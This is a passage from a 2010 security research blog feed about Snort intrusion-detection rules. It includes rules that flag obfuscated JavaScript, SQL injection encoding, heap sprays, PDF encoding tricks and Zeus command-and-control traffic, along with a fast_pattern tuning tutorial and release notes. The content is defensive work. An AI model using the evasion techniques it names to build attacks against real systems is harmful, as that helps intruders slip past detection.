function.&lt;/li&gt;&lt;li&gt;&lt;b&gt;"SQL large number of calls to ascii function - possible sql injection obfuscation" / SID 13988&lt;/b&gt; - As with SID 13791, most malware being injected into a database is going to be obfuscated. The &lt;tt&gt;ascii()&lt;/tt&gt; function simply converts a hexadecimal character into its ASCII equivalent, a common obfuscation technique. This rule looks for five calls to this function within a single request, which we feel strikes a balance between detecting malware that uses the call and skipping over legitimate programming uses for &lt;tt&gt;ascii()&lt;/tt&gt;.&lt;/li&gt;&lt;li&gt;&lt;b&gt;"SQL large number of calls to char function - possible sql injection obfuscation" / SID 13989&lt;/b&gt; - Same concept as SID 13988, different function.&lt;/li&gt;&lt;li&gt;&lt;b&gt;"SQL large number of calls to concat function - possible sql injection obfuscation" / SID 14008&lt;/b&gt; - Same concept as SID 13988, different function.&lt;/li&gt;&lt;li&gt;&lt;b&gt;"WEB-CLIENT obfuscated javascript excessive fromCharCode - potential attack" / SID 15362&lt;/b&gt; - This rule looks for delivery of client-side malware, which is typically included in a web page (either after a successful SQL injection attack or on a just plain malicious site). Much like the SQL &lt;tt&gt;ascii()&lt;/tt&gt; function, this rule looks for the JavaScript &lt;tt&gt;String.fromCharCode()&lt;/tt&gt; call, which returns ASCII string data from a hexadecimal equivalent. This rule was created after seeing this technique employed within a wide range of malware samples, and requires five consecutive calls to this function, with at most 100 bytes between each call, to help weed out legitimate uses of this core piece of JavaScript.&lt;/li&gt;&lt;li&gt;&lt;b&gt;"WEB-CLIENT Potential obfuscated javascript eval unescape attack attempt" / SID 15363&lt;/b&gt; - One of the classic malware obfuscation techniques, which is still heavily employed today, is to use a JavaScript call similar to &lt;tt&gt;eval(unescape(&lt;huge block of hex-encoded data&gt;))&lt;/tt&gt;. This rule looks for such calls with a minimum of 250 bytes of data inside the &lt;tt&gt;unescape()&lt;/tt&gt; call - something which happens very rarely in legitimate traffic, but all the time in attacks of this type.&lt;/li&gt;&lt;li&gt;&lt;b&gt;"WEB-CLIENT Generic javascript obfuscation attempt" / SID 15697&lt;/b&gt; - It is possible, in JavaScript, to "re-declare" the names of built-in functions - i.e., &lt;tt&gt;var foobar = unescape; var cleartext = foobar("&lt;hex string&gt;");&lt;/tt&gt;. Metasploit has a built-in function that does just this for the &lt;tt&gt;unescape()&lt;/tt&gt; function, which, as just noted, is often used to obfuscate client-side attacks. Since a legitimate web page has little to no reason to redeclare the name of the &lt;tt&gt;unescape()&lt;/tt&gt; function, this rule looks for such behavior as an indicator of malicious intent.&lt;/li&gt;&lt;li&gt;&lt;b&gt;"WEB-CLIENT Possible generic javascript heap spray attempt" / SID 15698&lt;/b&gt; - Many JavaScript-based exploits use a technique called &lt;a href=http://en.wikipedia.org/wiki/Heap_spraying&gt;heap spraying&lt;/a&gt; - in a nutshell, filling memory with data that will be used as part of the exploitation process, to make it more likely that attacker-supplied data will be accessed by the vulnerable program. This rule looks for a sequence of bytes typically associated with heap sprays in JavaScript, which have very few, if any, legitimate use cases in the wild.&lt;/li&gt;&lt;li&gt;&lt;b&gt;"EXPLOIT Possible Adobe Flash ActionScript byte_array heap spray attempt" / SID 15729&lt;/b&gt; - ActionScript, the Flash answer to JavaScript, has a function called &lt;tt&gt;ByteArray()&lt;/tt&gt;, which allows developers to work with binary data. This function is not particularly widely used - the &lt;a href=http://livedocs.adobe.com/flash/9.0/ActionScriptLangRefV3/flash/utils/ByteArray.html&gt;official Adobe documentation&lt;/a&gt; actually calls it out as being only for advanced developers - and this rule looks for a specific set of bytes used in conjunction with the call that we've found in ActionScript-based exploits.&lt;/li&gt;&lt;li&gt;&lt;b&gt;"EXPLOIT Possible Adobe PDF ActionScript byte_array heap spray attempt" / SID 15728&lt;/b&gt; - Same detection as SID 15729, only used in conjunction with a flowbit that looks for files declared as PDFs (SID 15729 looks for files declared as SWF). You can thank Adobe for allowing people to embed Flash in PDFs on this one.&lt;/li&gt;&lt;li&gt;&lt;b&gt;"WEB-CLIENT obfuscated header in PDF" / SID 16343&lt;/b&gt; - This shared-object rule (whose C code is open source) examines object tags within PDF files. Per the specification, an object tag can be declared either as ASCII data (i.e. "JavaScript"), hex data (i.e. "#4a#61#76#61#53#63#72#69#70#74"), or a mixture of the two. Normal, legitimate PDFs typically declare objects as one or the other; malicious PDFs, including those generated by Metasploit, often mix the two in an attempt to evade detection. This rule looks for mixed encoding in an object tag (i.e. "J#61va#53#63rip#74").&lt;/li&gt;&lt;li&gt;&lt;b&gt;"WEB-MISC text/html content-type without HTML - possible malware C&amp;C" / SID 16460&lt;/b&gt; - This rule came out of an &lt;a href=http://labs.snort.org/papers/zeus.html&gt;analysis of the Zeus trojan&lt;/a&gt;, as well as other nasty pieces of malware. Since Zeus encrypts all of its command and control data, yet declares in the HTTP headers that the traffic will be of type "text/html", this rule looks for HTTP packets which declare that content type, but which do not actually contain plaintext HTML. In our testing, this found Zeus reliably, and picked up on other pieces of malware as well. Given the fact that HTTP servers do lots of strange things in the wild, we're very interested in seeing any false positives you might have on this rule, so we can account for whatever odd thing the servers you're interacting with are doing.&lt;/li&gt;&lt;li&gt;&lt;b&gt;"POLICY Suspicious .cn dns query" / SID 15167&lt;/b&gt; - Most security analysts have seen malware hosted on insane domain names like qxpvfsztr.cn - and all it takes it one look at a name like that to know that something really fishy is going on. This rule helps your IDS find such names, by searching for DNS queries for .cn (i.e. Chinese) domains that contain 5 or more consonants in a row.&lt;/li&gt;&lt;li&gt;&lt;b&gt;"POLICY Suspicious .ru dns query" / SID 15168&lt;/b&gt; - Same concept as SID 15168, except with .ru (i.e. Russian) domains.&lt;/li&gt;&lt;li&gt;&lt;b&gt;"WEB-ACTIVEX obfuscated ActiveX object instantiation via unescape" / SID 16573&lt;/b&gt; - Metasploit sometimes hides the name of the ActiveX controls it is attempting to exploit by hex-encoding it. There is no legitimate reason to have the name of an ActiveX object that you're instantiating encoded, so we detect this behavior as likely malicious.&lt;/li&gt;&lt;li&gt;&lt;b&gt;"WEB-ACTIVEX obfuscated ActiveX object instantiation via fromCharCode" / SID 16574&lt;/b&gt; - Same concept as SID 16574, but looking for a different function to decode the name of the control.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;We're always constantly thinking about new anomaly detection rules that we could add - for example, we're currently considering a rule that looks for, in essence, "var shellcode = &lt;data&gt;". Since we know that there are lots of good analysts out there who have written their own anomaly rules, if you have anything you'd like to share with us, drop us a line at research@sourcefire.com or start up a thread on the Snort-Sigs mailing list. Also, if you find that any of these rules are flagging a high percentage of normal traffic, send us samples at fp@sourcefire.com, so that we can fix things, both for you and the community at large.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-5765236171551231234?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/5765236171551231234/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=5765236171551231234' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5765236171551231234'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5765236171551231234'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/05/known-unknowns-dont-do-that-rules.html' title='Known Unknowns: The &quot;Don&apos;t Do That&quot; Rules'/><author><name>Alex Kirk</name><uri>http://www.blogger.com/profile/03593625592056536275</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-7618631430993074199</id><published>2010-04-29T15:04:00.005-04:00</published><updated>2010-04-29T16:44:54.733-04:00</updated><title type='text'>Rule release for today, Thursday April 29th, 2010</title><content type='html'>Performance update release for 2.8.6 to utilize HTTP buffers and fast_pattern.&lt;br /&gt;&lt;br /&gt;Check &lt;a href="http://www.snort.org/vrt/advisories/2010/04/29/vrt-rules-2010-04-29.html/"&gt;here for details&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-7618631430993074199?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.snort.org/vrt/advisories/2010/04/29/vrt-rules-2010-04-29.html' title='Rule release for today, Thursday April 29th, 2010'/><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/7618631430993074199/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=7618631430993074199' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/7618631430993074199'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/7618631430993074199'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/04/rule-release-for-today-thursday-april_29.html' title='Rule release for today, Thursday April 29th, 2010'/><author><name>Matthew Watchinski</name><uri>http://www.blogger.com/profile/00749294989862848285</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-8812456845253175039</id><published>2010-04-27T10:56:00.006-04:00</published><updated>2010-04-27T16:12:57.037-04:00</updated><title type='text'>Using Snort fast patterns wisely for fast rules</title><content type='html'>Anyone that's ever written their own Snort rule has wondered, at some point or another, about how to make their rule(s) faster. While some things are obvious - don't use a PCRE with a bunch of ".*" clauses, for example - others are less so. Today I'd like to go over one of the more subtle methods of speeding up a rule, which has been highlighted by some new features in Snort 2.8.6.&lt;br /&gt;&lt;br /&gt;Any rule that has one or more content matches in it has a fast pattern associated with it - the string that Snort puts into its fast pattern matching engine to begin the process of detection. Chosen somewhat intelligently by Snort itself, this pattern is usually the longest string in a rule; as a general rule of thumb, the longer the string is, the faster a rule will be, with strings of four or more bytes typically being necessary to reap the benefits of the fast pattern matcher. Only if this string is found in a packet does Snort evaluate the remaining options in the rule - which means that the fewer times the fast pattern matches, the less performance drag the rule will create on Snort. Thus, the goal of a rule-writer should be to choose a fast pattern that will be as closely associated with the actual triggering conditions of the rule as possible - if you can generate an alert for most of the times you actually enter a rule, you've successfully targeted your detection, and written a rule with the minimum possible performance impact on Snort.&lt;br /&gt;&lt;br /&gt;Up until Snort 2.8.6, unfortunately, rule writers had little control over what was chosen as a rule's fast pattern. With the introduction of the &lt;tt&gt;fast_pattern&lt;/tt&gt; keyword and a new config option, however, that's all changed.&lt;br /&gt;&lt;br /&gt;Let's start by going over the new config option, since it will provide us with the intelligence we need to properly use the fast_pattern keyword. It's really rather simple; just add:&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;debug-print-fast-pattern&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;...to your &lt;tt&gt;config detection&lt;/tt&gt; statement (NOTE: if you try to specify this on a line separate from your non-default &lt;tt&gt;config detection&lt;/tt&gt; statement, you'll end up setting all detection parameters back to their defautls.)&lt;br /&gt;&lt;br /&gt;Just add this line to your Snort config, and you're good to go. If you run Snort with this option enabled, you'll get output similar to the following:&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;&lt;br /&gt;1:6407&lt;br /&gt;  Fast pattern matcher: Content&lt;br /&gt;  Fast pattern set: no&lt;br /&gt;  Fast pattern only: no&lt;br /&gt;  Negated: no&lt;br /&gt;  Pattern offset,length: none&lt;br /&gt;  Pattern truncated: no&lt;br /&gt;  Original pattern&lt;br /&gt;    "INVITE|20|SIP:"&lt;br /&gt;  Final pattern&lt;br /&gt;    "INVITE|20|SIP:"&lt;br /&gt;&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;For the sake of this example, we're running Snort with just the following rule enabled:&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;alert udp $HOME_NET any -&gt; $EXTERNAL_NET 5060 (msg:"POLICY Gizmo register VOIP state"; content:"INVITE sip|3A|"; nocase; content:"User-Agent|3A|"; nocase; content:"Gizmo"; nocase; pcre:"/^User-Agent\x3A[^\n\r]+Gizmo/smi"; reference:url,www.gizmoproject.com; classtype:policy-violation; sid:6407; rev:1;)&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;As noted earlier, Snort has chosen the longest available string - "INVITE sip|3A|" - as the fast pattern for the rule. The problem, unfortunately, is that this pattern will match on &lt;b&gt;all&lt;/b&gt; SIP invitations, whereas the rule will generate an alert on only a tiny portion of those requests. Clearly, this is sub-optimal from a performance perspective.&lt;br /&gt;&lt;br /&gt;With the new &lt;tt&gt;fast_pattern&lt;/tt&gt; keyword, however, we can fix this problem. By updating the rule to read as follows:&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;alert udp $HOME_NET any -&gt; $EXTERNAL_NET 5060 (msg:"POLICY Gizmo register VOIP state"; content:"INVITE sip|3A|"; nocase; content:"User-Agent|3A|"; nocase; content:"Gizmo"; nocase; fast_pattern; pcre:"/^User-Agent\x3A[^\n\r]+Gizmo/smi"; reference:url,www.gizmoproject.com; classtype:policy-violation; sid:6407; rev:1;)&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;...we get the following output from Snort:&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;1:6407&lt;br /&gt;  Fast pattern matcher: Content&lt;br /&gt;  Fast pattern set: yes&lt;br /&gt;  Fast pattern only: no&lt;br /&gt;  Negated: no&lt;br /&gt;  Pattern offset,length: none&lt;br /&gt;  Pattern truncated: no&lt;br /&gt;  Original pattern&lt;br /&gt;    "GIZMO"&lt;br /&gt;  Final pattern&lt;br /&gt;    "GIZMO"&lt;br /&gt;&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;As you can see, the fast pattern has been changed per the keyword we used, and Snort now notes that we've explicitly set the fast pattern (i.e. "Fast pattern set: yes"). Since the string "Gizmo" is likely to be orders of magnitude less common than "INVITE sip|3A|" in SIP traffic, the number of times this rule is evaluated will drop dramatically, and the rule will get a commensurate performance boost.&lt;br /&gt;&lt;br /&gt;So based on this information, given the following rule, what would you expect the fast pattern to be for the following rule?&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;alert tcp $HOME_NET any -&gt; $EXTERNAL_NET $HTTP_PORTS (msg:"SPYWARE-PUT Hijacker xp antispyware 2009 runtime detection - pre-sale webpage"; flow:to_server,established; uricontent:"/buy.html?"; nocase; uricontent:"wmid="; nocase; uricontent:"skey="; nocase; content:"Host|3A| www.xpas2009.com"; nocase; reference:url,research.sunbelt-software.com/threatdisplay.aspx?name=XPAntiSpyware%202009&amp;threatid=429593; reference:url,www.ca.com/us/securityadvisor/pest/pest.aspx?id=453141780; classtype:misc-activity; sid:16136; rev:2;)&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;If you answered &lt;tt&gt;"Host|3A| www.xpas2009.com"&lt;/tt&gt;, you'd be wrong - because of the way Snort picks fast patterns when you have a mix of buffers:&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;&lt;br /&gt;1:16136&lt;br /&gt;  Fast pattern matcher: URI content&lt;br /&gt;  Fast pattern set: no&lt;br /&gt;  Fast pattern only: no&lt;br /&gt;  Negated: no&lt;br /&gt;  Pattern offset,length: none&lt;br /&gt;  Pattern truncated: no&lt;br /&gt;  Original pattern&lt;br /&gt;    "/BUY.HTML?"&lt;br /&gt;  Final pattern&lt;br /&gt;    "/BUY.HTML?"&lt;br /&gt;&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;As you can see, Snort chose the longest pattern out of the URI buffer. In a lot of cases, this default will make sense - after all, the URI buffer is usually smaller than the regular content buffer, and searching a smaller space will be faster. In this particular case, however, we've ended up with a fast pattern that will be fairly common in web traffic - or, at the very least, more common than a search for a particular host string. Since the goal is to enter the rule as little as possible, we want to override this behavior, and go for the more unique pattern:&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;alert tcp $HOME_NET any -&gt; $EXTERNAL_NET $HTTP_PORTS (msg:"SPYWARE-PUT Hijacker xp antispyware 2009 runtime detection - pre-sale webpage"; flow:to_server,established; uricontent:"/buy.html?"; nocase; uricontent:"wmid="; nocase; uricontent:"skey="; nocase; content:"Host|3A| www.xpas2009.com"; nocase; fast_pattern; reference:url,research.sunbelt-software.com/threatdisplay.aspx?name=XPAntiSpyware%202009&amp;threatid=429593; reference:url,www.ca.com/us/securityadvisor/pest/pest.aspx?id=453141780; classtype:misc-activity; sid:16136; rev:2;)&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;1:16136&lt;br /&gt;  Fast pattern matcher: Content&lt;br /&gt;  Fast pattern set: yes&lt;br /&gt;  Fast pattern only: no&lt;br /&gt;  Negated: no&lt;br /&gt;  Pattern offset,length: none&lt;br /&gt;  Pattern truncated: no&lt;br /&gt;  Original pattern&lt;br /&gt;    "HOST:|20|WWW.XPAS2009.COM"&lt;br /&gt;  Final pattern&lt;br /&gt;    "HOST:|20|WWW.XPAS2009.COM"&lt;br /&gt;&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;We can actually optimize even further from here. As it turns out, once a fast pattern has been matched, and a rule has been entered, Snort will spend CPU cycles looking for the content chosen as the fast pattern again, this time using the content matching engine. While this seems duplicative, in many cases, it's useful; for example, if a content clause follows the one chosen as the fast pattern content, and that second content uses distance and within to force a match only relative to the end of the fast pattern, Snort needs to find the fast pattern that second time to properly evaluate the second content clause. However, for this particular rule, that's not the case, and so there's no point in bothering to find this string a second time. With that in mind, we'll change &lt;tt&gt;fast_pattern;&lt;/tt&gt; to &lt;tt&gt;fast_pattern:only;&lt;/tt&gt;, and save the CPU cycles during rule evaluation. Finally, since the string we're looking for should only be found in the HTTP headers, we'll use the new &lt;tt&gt;http_header;&lt;/tt&gt; keyword to restrict the search to that buffer (which is explicitly split out for the first time in Snort 2.8.6), and end up with the following rule:&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;alert tcp $HOME_NET any -&gt; $EXTERNAL_NET $HTTP_PORTS (msg:"SPYWARE-PUT Hijacker xp antispyware 2009 runtime detection - pre-sale webpage"; flow:to_server,established; uricontent:"/buy.html?"; nocase; uricontent:"wmid="; nocase; uricontent:"skey="; nocase; content:"Host|3A| www.xpas2009.com"; nocase; fast_pattern:only; http_header; reference:url,research.sunbelt-software.com/threatdisplay.aspx?name=XPAntiSpyware%202009&amp;threatid=429593; reference:url,www.ca.com/us/securityadvisor/pest/pest.aspx?id=453141780; classtype:misc-activity; sid:16136; rev:2;)&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;...and the associated debug output:&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;&lt;br /&gt;1:16136&lt;br /&gt;  Fast pattern matcher: URI content&lt;br /&gt;  Fast pattern set: yes&lt;br /&gt;  Fast pattern only: yes&lt;br /&gt;  Negated: no&lt;br /&gt;  Pattern offset,length: none&lt;br /&gt;  Pattern truncated: no&lt;br /&gt;  Original pattern&lt;br /&gt;    "HOST:|20|WWW.XPAS2009.COM"&lt;br /&gt;  Final pattern&lt;br /&gt;    "HOST:|20|WWW.XPAS2009.COM"&lt;br /&gt;&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;(Note: just because the debug output specifies "URI content" here doesn't actually mean that the pattern is being searched for in the URI buffer. I've verified through testing and talking to the development team that the HTTP header buffer is what's being searched here; the output is the way it is because the HTTP-related buffers, including the URI buffer and the header buffer, are grouped together at the point this output is printed.)&lt;br /&gt;&lt;br /&gt;One additional item to be cognizant of, for those who begin using the newly available ac-split fast pattern method introduced in 2.8.6, is pattern truncation. The recommended configuration for this method includes the directive "max-pattern-len 20", which will truncate fast patterns at 20 bytes; doing so helps with the memory footprint for Snort, and generally 20 bytes is sufficient for simply using a fast pattern to determine entry into a rule. If your Snort install is set up in this manner, and you need to specify which bytes of a long pattern are the most unique, you can use the &lt;tt&gt;fast_pattern:x,y;&lt;/tt&gt; modifier to the content you're operating on, to specify the start and end bytes of the portion of the content you wish to use as the fast pattern (you can exceed the 20 byte truncation limit by doing this - Snort will take all of the specified bytes). Note that if you specify &lt;tt&gt;fast_pattern:only;&lt;/tt&gt; on a pattern longer than the number of bytes specified in your configuration, the entire pattern will be used, regardless of its size.&lt;br /&gt;&lt;br /&gt;With this new functionality in hand, the VRT is busy reviewing our entire ruleset, looking for places where rules can be optimized by proper tweaking of fast pattern settings. Expect to see thousands of changes to the rules over the next several weeks as we work through and implement all of these changes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-8812456845253175039?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/8812456845253175039/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=8812456845253175039' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8812456845253175039'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8812456845253175039'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/04/using-snort-fast-patterns-wisely-for.html' title='Using Snort fast patterns wisely for fast rules'/><author><name>Alex Kirk</name><uri>http://www.blogger.com/profile/03593625592056536275</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-419353285810694361</id><published>2010-04-26T15:44:00.004-04:00</published><updated>2010-04-26T16:01:06.303-04:00</updated><title type='text'>Rule release for today - April 26th, 2010</title><content type='html'>This release contains support for Snort 2.8.6.0.  Additionally, new packages have been added that contain 4 digit version numbers.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;New package names:&lt;/span&gt;&lt;br /&gt;1. snortrules-snapshot-2853_s.tar.gz&lt;br /&gt;2. snortrules-snapshot-2860_s.tar.gz&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Details:&lt;/span&gt;&lt;br /&gt;The packages have been updated with support for Snort 2.8.6.0. Additionally, a number of improvements have been made to the packages to help clarify which packages to use with your specific snort version.&lt;br /&gt;&lt;br /&gt;The old package names are still available but they are now symlinked to&lt;br /&gt;the new package names. The symlinks will exist for the next 30 days.  This should hopefully prevent auto updaters from failing to update correctly.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Symlinks Subscriber:&lt;/span&gt;&lt;br /&gt;1. snortrules-snapshot-2853_s.tar.gz -&gt; snortrules-snapshot-CURRENT_s.tar.gz&lt;br /&gt;2. snortrules-snapshot-2853_s.tar.gz -&gt; snortrules-snapshot-2.8_s.tar.gz&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;* IMPORTANT *&lt;/span&gt;&lt;br /&gt;The above is not a typo. The 2853 is symlinked to CURRENT and the 2.8 packages this is intentional, as to not break auto updaters that define CURRENT incorrectly. &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Registered Users:&lt;/span&gt;&lt;br /&gt;There are no new symlinks for registered users as the new packages won't be available to registered users for 30 days.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Additional Package Updates.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;1. Packages are now locked to the version of snort they support.  This includes sub directories in the packages.  For examples the 2853 packages now only contain SO rules for 2.8.5.3.&lt;br /&gt;&lt;br /&gt;2. Snort.conf in etc/ directory has been updated to support additional features in 2.8.5.3 and 2.8.6.0.  &lt;br /&gt;&lt;br /&gt;3. Preprocessor Rules are now contained in the package.&lt;br /&gt;&lt;br /&gt;4. For 2.8.6.0 Sensitive data rules are contained in the package.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Not running 2.8.5.3 and downloading CURRENT / 2.8 / 2853 packages ?:&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;1. You will need to modify oinkmaster, pulled pork, or whatever update system you are using to remove 2.8.5.3 version specific rule keywords or snort will fail to load.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-419353285810694361?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='https://www.snort.org/vrt/advisories/2010/04/26/vrt-rules-2010-04-26.html' title='Rule release for today - April 26th, 2010'/><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/419353285810694361/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=419353285810694361' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/419353285810694361'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/419353285810694361'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/04/rule-release-for-today-april-26th-2010.html' title='Rule release for today - April 26th, 2010'/><author><name>Matthew Watchinski</name><uri>http://www.blogger.com/profile/00749294989862848285</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-9083738259577926201</id><published>2010-04-22T04:34:00.002-04:00</published><updated>2010-04-22T10:06:04.840-04:00</updated><title type='text'>A New Detection Framework</title><content type='html'>We just completed a talk here in Dubai on some detection capability research the VRT has been doing. &amp;nbsp;The subtitle of&amp;nbsp;the presentation, "What would you do with a pointer and a size?" pretty much sums up the potential of the project. &amp;nbsp;It&amp;nbsp;all started last December at the SANS IDS conference. &amp;nbsp;In talking to both attendees and presenters, it became clear&amp;nbsp;there was a lack of capability for high-end security and response personnel. &amp;nbsp;Repeatedly we were asked about providing a&amp;nbsp;greater depth of detection, dropping a file to disk for longer analysis and logging packets for an extended period of&amp;nbsp;time. &amp;nbsp;In short, there were solutions needed that weren't being provided.&lt;br /&gt;&lt;br /&gt;So Patrick Mullen and I sat down and started fiddling with some ideas. &amp;nbsp;I worked on deep parsing and detection on PDF&amp;nbsp;files and Patrick worked on ways to provide me the full file data. &amp;nbsp;Initially we had an SO rule that grabbed PDF files&amp;nbsp;and called my PDF parser. &amp;nbsp;We got it working, and it was pretty sexy. &amp;nbsp;But it blocked the Snort process and clearly&amp;nbsp;wasn't the way to go. &amp;nbsp;It did, however, show that we were on to something.&lt;br /&gt;&lt;br /&gt;Lurene, Patrick, Nigel and I then locked ourselves in a room and hammered out the initial design of what would come to&amp;nbsp;be known NRT, the Near Real Time detection project. &amp;nbsp;The project goals were straightforward, if not easy: &amp;nbsp;Create a&amp;nbsp;system that allowed arbitrary data sources to pass data to specialized detection systems and provide every scrap of data&amp;nbsp;we could back to the incident response teams.&lt;br /&gt;&lt;br /&gt;With this laid out, I got a hold of Mike Cloppert, one of the guys we had spoken to at the IDS conference. &amp;nbsp;We&amp;nbsp;scheduled a call with the team he works with and discussed with them what they wanted out of a detection system. &amp;nbsp;At&amp;nbsp;the completion of the call, we all were quite pleased. &amp;nbsp;Everything they had asked for was already in the design, and&amp;nbsp;quite a bit more as well. &amp;nbsp;We were on the right track.&lt;br /&gt;&lt;br /&gt;Coding began. &amp;nbsp;This involved every person on the VRT and a lot of late nights. &amp;nbsp;Our goal for the first phase of POC was&amp;nbsp;to prove that we could use Snort as a datasource for a system that would then provide analysis out of band with network&amp;nbsp;traffic and alert back into the system. &amp;nbsp;At the end of a hectic month of coding (along with all of our other work) we&amp;nbsp;had a static preprocessor that pulled files off the wire and passed them to a PDF detection module, a ClamAV engine and&amp;nbsp;a pure logging module. &amp;nbsp;The end result was the capability to thread out (non-blocking) detection of PDf files, handling&amp;nbsp;the common evasion techniques for PDF files and then alert back to Snort:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;04/21-11:17:58.1271873878 [**] [300:3221225473:1] URL:/wrl/first.pdf Hostname:wrl Alert Info:Probable exploit of CVE-2009-0658 (JBIG2) detected in object 8, declared as /Length 29/Filter [/FlateDecode/ASCIIHexDecode/JBIG2Decode ] &amp;nbsp;[**]&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;{TCP} 192.168.0.1:0 -&amp;gt; 204.15.227.178:0&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;04/21-11:17:58.12718738780:0:0:0:0:0 -&amp;gt; 0:0:0:0:0:0 type:0x800 len:0x0&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;192.168.0.1:0 -&amp;gt; 204.15.227.178:0 TCP TTL:240 TOS:0x10 ID:0 IpLen:20 DgmLen:1280&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;***AP*** Seq: 0x0 &amp;nbsp;Ack: 0x0 &amp;nbsp;Win: 0x0 &amp;nbsp;TcpLen: 